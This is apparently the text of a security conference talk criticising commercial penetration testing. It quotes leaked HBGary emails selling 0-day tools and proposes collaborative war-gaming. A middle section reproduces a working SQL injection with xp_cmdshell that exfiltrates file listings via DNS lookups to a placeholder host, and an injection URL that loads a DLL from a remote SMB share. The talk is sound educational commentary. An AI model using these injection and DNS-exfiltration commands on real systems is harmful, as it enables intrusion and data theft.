Penetration Testing Considered Harmful

(haroon@thinkst.com)
Who i am..
(& Why this talk?)
• haroon@thinkst.com
• Some Tools
• Some Papers
• Some Books
So?
Some Experience with:

- Pen-Testing;
- Teaching Pen-Testing;
- Recruiting Pen-Testers;
- Testing Pen-Testers.
“we are doing it wrong”
“Our Upcoming Security Apocalypse”

• Impending Crisis
• 1990‘s
• 2000’s,
• Today

“Mission Accomplished”
Boards Just Don’t know
That we don’t have it under control..

That mostly:
We Just hoping it doesn’t happen on our watch...
Board _is_ doing something
• Money Changes Hands;
• Surface Level Checks & Balances.
But we haven’t been hacked yet? It’s worked for us so far.

http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html
“every day that goes by without something like that happening makes it more likely that it never will”

http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html
“..what it does most assuredly do is make it more surprising when it does come”

http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html
Simple Test
We have a general problem in infosec. We pitched pen-tests as a solution.
We have a general problem in infosec. We pitched pen-tests as a solution. We now have 2 problems.
Penetration testing services

Advanced Penetration Test - CREST & PCI Pen Testing Services
www.netituda.com/Penetration-Test
High Quality, Proactive Engagements

Penetration Testing - Scan For Open Ports - LanGuard 2011 | gfi.com
www.gfi.com
Download Risk-Free Trial Today!

Mobile Security - IOActive | ioactive.com
www.ioactive.com
Your mobile devices offer attackers a 24/7 threat surface. Secure them.

Penetration Testing | Security and Risk Consulting | Dell SecureWorks
www.secureworks.com/services/consulting/penetration_testing/ - Cached
Dell SecureWorks provides penetration testing services to help maintain compliance, protect critical information, and eliminate security threats.

Penetration Testing Service: Penetration Test, Pen Test | Rapid7
www.rapid7.com/services/penetration-testing.jsp - Cached
Discover your network vulnerabilities with penetration testing (aka pen test). A Rapid 7 penetration test improves network security with proven results.

Penetration Testing and IT Security Audits
www.redspin.com/ - Cached
Redspin's penetration testing services and IT security audits not only find vulnerabilities, but then help you prioritize what's most important to your business. ...

Network Penetration Testing Service | eEye Digital Security
www.eeye.com/Services/Penetration-Testing.aspx - Cached
During a network penetration test, eEye researchers will perform an active analysis of the network for any potential vulnerabilities by emulating a real-world ...
Quick Kills:
- Limited Scopes
- Lame Pen-Testers
- Testers Op-Sec
There but for the grace of god?
I’m saying, even with:
- Full Scope;
- Elite Testers;
Pen-Testing shouldn’t be your first Choice!

* Caveat
* Caveat
- Testing Response;
- Require a binary answer;
Quick Poll
Conducted a Pen-Test in the past 2 years?
How many 0-days would I need to access your crown jewels?
Most Common Answer: ?
Most Common Answer: 1
Really?
0-day & Pen-Tests
0-day

Overplayed by those who can;
Underplayed by those who can’t;
(almost completely inadequately considered by *)
We don’t need 0-day to break-in!
We don’t need 0-day to break-in!
The point wasn’t just to see how _you_ would break-in!
Do attackers use it?
Operation Aurora
A new approach to China

1/12/2010 03:00:00 PM

Like many other well-known organizations, we face cyber attacks of varying degrees on a regular basis. In mid-December, we detected a highly sophisticated and targeted attack on our corporate infrastructure originating from China that resulted in the theft of intellectual property from Google. However, it soon became clear that what at first appeared to be solely a security incident—albeit a significant one—was something quite different.
HBGary
<table>
<thead>
<tr>
<th>Original file:</th>
<th>1296961672.M596997P17621Q2708.cybercom</th>
</tr>
</thead>
<tbody>
<tr>
<td>From:</td>
<td>Ted Vera <a href="mailto:ted@hbgary.com">ted@hbgary.com</a></td>
</tr>
<tr>
<td>To:</td>
<td><a href="mailto:dmacKert@raytheonvtc.com">dmacKert@raytheonvtc.com</a></td>
</tr>
<tr>
<td>Date:</td>
<td>Tue, 16 Mar 2010 16:56:48 -0600</td>
</tr>
<tr>
<td>Subject:</td>
<td>HBGary</td>
</tr>
<tr>
<td>Attachments:</td>
<td>HBG Malware Report_FINAL.pdf (477649 bytes)</td>
</tr>
<tr>
<td></td>
<td>HBGary Digital DNA.pdf (2996346 bytes)</td>
</tr>
<tr>
<td></td>
<td>HBGary Responder Pro.pdf (376193 bytes)</td>
</tr>
</tbody>
</table>

Hi Don,

Nice talking with you, it's been a long time. Below is my contact information and attached is our Aurora report along with some HBGary product data sheets. As I mentioned, we also do 0day development, and have a few tools on the shelf. If you're interested, we can send you an NDA and get you some 0day summaries to review.

Regards,
Ted
**HBGary Email Viewer**

**ted@hbgary.com**

<table>
<thead>
<tr>
<th>Original file:</th>
<th>1296960932.M934931P17621Q1670.cybercom</th>
</tr>
</thead>
<tbody>
<tr>
<td>From:</td>
<td>Ted Vera <a href="mailto:ted@hbgary.com">ted@hbgary.com</a></td>
</tr>
<tr>
<td>To:</td>
<td>&quot;Willis, Dan&quot; <a href="mailto:dan.willis@macb.com">dan.willis@macb.com</a>, Kevin Keathley <a href="mailto:cybernigma@gmail.com">cybernigma@gmail.com</a></td>
</tr>
<tr>
<td>Date:</td>
<td>Wed, 10 Feb 2010 17:41:11 -0700</td>
</tr>
<tr>
<td>Subject:</td>
<td>Unpublished 0Days</td>
</tr>
<tr>
<td>Attachments:</td>
<td>VMware ESX.pdf (72211 bytes)</td>
</tr>
<tr>
<td></td>
<td>Win2K3 Terminal Services.pdf (66052 bytes)</td>
</tr>
<tr>
<td></td>
<td>Windows 2000.pdf (60813 bytes)</td>
</tr>
</tbody>
</table>

Please see attached HBGary unpublished 0day tool summaries. We have a number of these on the shelf. I will call you with the password.

--
Ted H. Vera  
President | COO  
HBGary Federal  
719-237-8623
all the material at one time. Here is a list of the available items:

- VMware ESX and ESXi *
- Win2K3 Terminal Services
- Win2K3 MSRPC
- Solaris 10 RPC
- Adobe Flash *
- Sun Java *
- Win2k Professional & Server
- XRK Rootkit and Keylogger *
- Rootkit 2009 *

The asterix (*) means the tool has been sold to another customer on a non-exclusive basis and can be sold again.
# Maui – Zero-Day Vulnerability and CNE/CNA Program

<table>
<thead>
<tr>
<th>Maui Basic</th>
<th>$2,500,000 per contract year</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Minimum of 25 deliverables per year</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Deliverable contents</strong> - Software</td>
<td></td>
</tr>
<tr>
<td>Software CNE/CNA</td>
<td></td>
</tr>
<tr>
<td>Metasploit module</td>
<td></td>
</tr>
<tr>
<td>VMware image for testing</td>
<td></td>
</tr>
<tr>
<td><strong>Deliverable contents - Documentation</strong></td>
<td></td>
</tr>
<tr>
<td>Vulnerability information</td>
<td></td>
</tr>
<tr>
<td>CNE/CNA information</td>
<td></td>
</tr>
<tr>
<td>Demo instructions</td>
<td></td>
</tr>
<tr>
<td>Revision history</td>
<td></td>
</tr>
</tbody>
</table>

# Cayman – Global Vulnerability Analytics

<table>
<thead>
<tr>
<th>Cayman Basic</th>
<th>$1,500,000 per contract year</th>
</tr>
</thead>
<tbody>
<tr>
<td>Worldwide &quot;bot&quot; infection analytics</td>
<td></td>
</tr>
<tr>
<td>IP address</td>
<td></td>
</tr>
<tr>
<td>Organization name</td>
<td></td>
</tr>
<tr>
<td>Geolocation</td>
<td></td>
</tr>
<tr>
<td>C&amp;C protocol</td>
<td></td>
</tr>
<tr>
<td>C&amp;C additional information</td>
<td></td>
</tr>
<tr>
<td>Botnet identification</td>
<td></td>
</tr>
<tr>
<td>Enhanced malware tracking</td>
<td></td>
</tr>
<tr>
<td>Downadup/Conflickr infection analytics</td>
<td></td>
</tr>
<tr>
<td>Enhanced compromised host tracking</td>
<td></td>
</tr>
<tr>
<td>Compromised host IP address</td>
<td></td>
</tr>
<tr>
<td>Probable infection status</td>
<td></td>
</tr>
<tr>
<td>Probably re-infection solution</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Cayman Enhanced</th>
<th>$1,750,000 per contract year</th>
</tr>
</thead>
<tbody>
<tr>
<td>Worldwide &quot;bot&quot; infection analytics</td>
<td></td>
</tr>
<tr>
<td>IP address</td>
<td></td>
</tr>
</tbody>
</table>
Doesn’t have to be that expensive..
(aka: how to price a 0day)
Charlie Miller

<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>Summer 2005</td>
<td>Vulnerability discovered.</td>
</tr>
<tr>
<td>11/7/05</td>
<td>Submitted to prepublication review at NSA.</td>
</tr>
<tr>
<td>7/27/06</td>
<td>Approved for release by prepublication review.</td>
</tr>
<tr>
<td>7/27/06</td>
<td>Offered to government via Transversal Technologies.</td>
</tr>
<tr>
<td>8/10/06</td>
<td>Verbally agreed to $80,000 conditional deal.</td>
</tr>
<tr>
<td>8/11/06</td>
<td>Exploit given for evaluation (at this point I have no leverage).</td>
</tr>
<tr>
<td>8/25/06</td>
<td>Hash of exploit published.</td>
</tr>
<tr>
<td>8/28/06</td>
<td>Agreed to lesser amount.</td>
</tr>
<tr>
<td>9/8/06</td>
<td>Paid.</td>
</tr>
</tbody>
</table>

0Day - payDay

## 0day - Variance

<table>
<thead>
<tr>
<th>Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>1/20/07</td>
<td>Vulnerability discovered</td>
</tr>
<tr>
<td>1/25/07</td>
<td>Offered to government via Transversal Technologies</td>
</tr>
<tr>
<td>1/28/07</td>
<td>Exploit finished</td>
</tr>
<tr>
<td>2/10/07</td>
<td>Offered to computer security companies</td>
</tr>
<tr>
<td>2/13/07</td>
<td>Patched - KB929064</td>
</tr>
</tbody>
</table>

DDZ reduces this.

The cost to discover and reliably exploit a vulnerability in a particular product is less than the sum of a claimed Pwn2Own prize for that product, the value of the laptop, and the value of fame to that researcher.

$5k < x < $10k \ ?
What else can we learn from Pwn-2-Own?
[1] User feels relatively secure browsing the Internet with his fully patched browser.
[2] PWN2OWN is held, and the fully patched browser is exploited (in the public eye).
[4] User feels very exposed knowing that his browser is currently not perfectly safe.
[6] User feels relatively secure browsing the Internet with his fully patched browser.
The Browser as the Weakest Link
So when last has a vulnerable browser shown up in your pen-test report?
ms08-067 vs current flash version?
What JailBreakers Teach Us

All of this means that if we are failing to consider 0day, we are just ignoring reality.
Aitel says: about 451 hours to create a good 0day exploit
Creating an 0day per engagement is unlikely
..and still doesn’t solve the problem.
How big is your 0day arsenal?
Again:
If we are going to simulate the (real) threat, we _have_ to consider 0day.
(How do we defend against this?)
These days we just simulate other pen-testers..
Professional Pen-Testers..
DNS Extrusion - “Useful”

Re: Manipulating Microsoft SQL Server Using SQL Injection (+ DNS Tunnels)
From: Haroon Meer <haroon@sensepost.com>
Date: Tue, 3 Sep 2002 12:07:00 +0200 (SAST)

... throw together a simple DNS tunnel.

Example:

```bash
exec master..xp_cmdshell 'for /F "usebackq tokens=1,2,3,4*" %i in ('dir c:\*.') do (nslookup %i. YOUR_IP_HERE)'
```

Running a sniffer on host YOUR_IP_HERE (with an awk / split or two)

```bash
Wh00t:~# tcpdump -l dst YOUR_IP_HERE and port 53 | awk '{print $7}'
```

WINNT.
tools.
bytes

If outgoing dns isn't allowed directly, you can still have some joy requesting a variable.DOMAIN_U_CAN_SNIFF.com and letting it follow its DNS path.
DNS Extrusion - “Useful”

nslookup moooooo.thinkst.com
DNS Extrusion (07)

Inspired by Sec-1 - Automagic SQL Injector..

1. Extract data (sql query / xp_cmdshell / etc)
2. Store into new table
3. Do some very ugly T-SQL to iterate through each line, encode all results and make them dns Friendly.
4. Call xp_cmdshell("nslookup random_company.com")
5. Sniff Results --> Profit!

http://www.sensepost.com/research/squeeza/
http://www.sensepost.com/research/reduh/
http://victim2k3.tst.com/login.asp?username=boo&password=boo'\%20CREATE\%20ASSEMBLY\%20moo\%20FROM\%20'\196.31.150.117\temp_smb\moo.dll'—
1. File.open("moo.dll","rb").read().unpack("H*")
   == ["4d5a900003000000040000000ffffff0......]

2. CREATE ASSEMBLY moo FROM 0x4d5a900003000000040000000ffffff0......
This is a classic example of “Draining the Swamp”
We are focusing on fighting the Alligators. (We are great at it!)
A problem we keep bumping into: Coverage
Let’s look at an example:
Oday Crew
SQLi - Pass ReUse
Phishing
All 3 would be good pen-test results
Possible to be perfectly pleased, perfectly pwned, and still perfectly pwnable!
Pen-Testing Companies a “market for lemons”

For Sale
• Incomplete coverage;
• Avoid the 0day question;
• Avoiding highly likely attacks;
• Misaligned Goals;
• Market for Lemons...
So why are we still doing it?
• It’s easy (these days) to sell;
• It feels like we are doing something;
• It delivers a result.
(even if its a questionable one)
Hill Climbing Problem..

The problem with hill climbing is that it gets stuck on "local-maxima"
Alternatives?
Q: What is this "Penetration Testing Execution Standard"?
A: It is a new standard designed to provide both businesses and security service providers with a common language and scope for performing penetration testing (i.e. Security evaluations).

Elevation of Privilege card game easily and simply helps you define and examine possible threats to software or computer systems.

Until now, considering a bunch of possible attacks may have seemed hard to wrap your head around. But through 6 threat groups, EoP keeps you focused on identifying attacks: Spoofing, Tampering, Reputation, Denial of Service and Elevation of Privilege.

And because EoP incorporates a simple point system, you can challenge other developers and become your opponent’s biggest threat.

Includes 84 cards

© 2008 Microsoft Corporation.

Security Development Lifecycle

A Threat Modeling Card Game for Developers

Pen-Test by Visio
The map is not the territory!
If we must do it:
We can’t remove the requirement for operator skill
but we should aim to maximize the benefit of their time.
We have to move from purely adversarial / hostile to Collaborative
We made this jump in app-testing too
Nessus | Dir Buster | Wikto
Won’t work to get too friendly / paper based
Gamification?
Also not this sort of gamification..

Achievement Unlocked
Stayed Awake So Far
Collaborative War-Gaming
Who is your likely opponent?
What is your data worth?

If the cost to attack is less than the value of your information to the attacker, you will be attacked.

If we agree that our opponents will spend $100k to get our data..

We agree that reliable 0day exploits can be bought for $20k

I get 5 x 0-day Cards
Cards may be played at any time.
I say: “Here’s a Card, There’s Server-X, Give me Win2k3, SP2”
You give me console access to the Server.
Retains pen-test serendipity
A few other cards seem reasonable
Unlimited Pivot & Tunnel Cards
Will it make pen-tests less fun?
Probably...
Some will still say:  
“prove it”
Allows us to widen scope considerably.
Allows us to focus on possibilities beyond our favorite toolset.
Ends up with a more informed client.
Do we really need to change?
We are in this awkward spot: Need the funds, but need to speak truth to power
Honesty?
We are just not helping..
Pen-Test will be the new AV
So..
If you sell pen-tests
Let’s make sure the customer really needs one.

“We need to sell them what they need, not what they think they want”
If you buy pen-tests

Question the motives of a company that sells you one without more thought..
If you think you have smarts
Let’s start thinking hard again about the problem that needs solving
(cause we need a reset here)
Reset beat local-maxima
Questions?

haroon@thinkst.com
http://blog.thinkst.com
@haroonmeer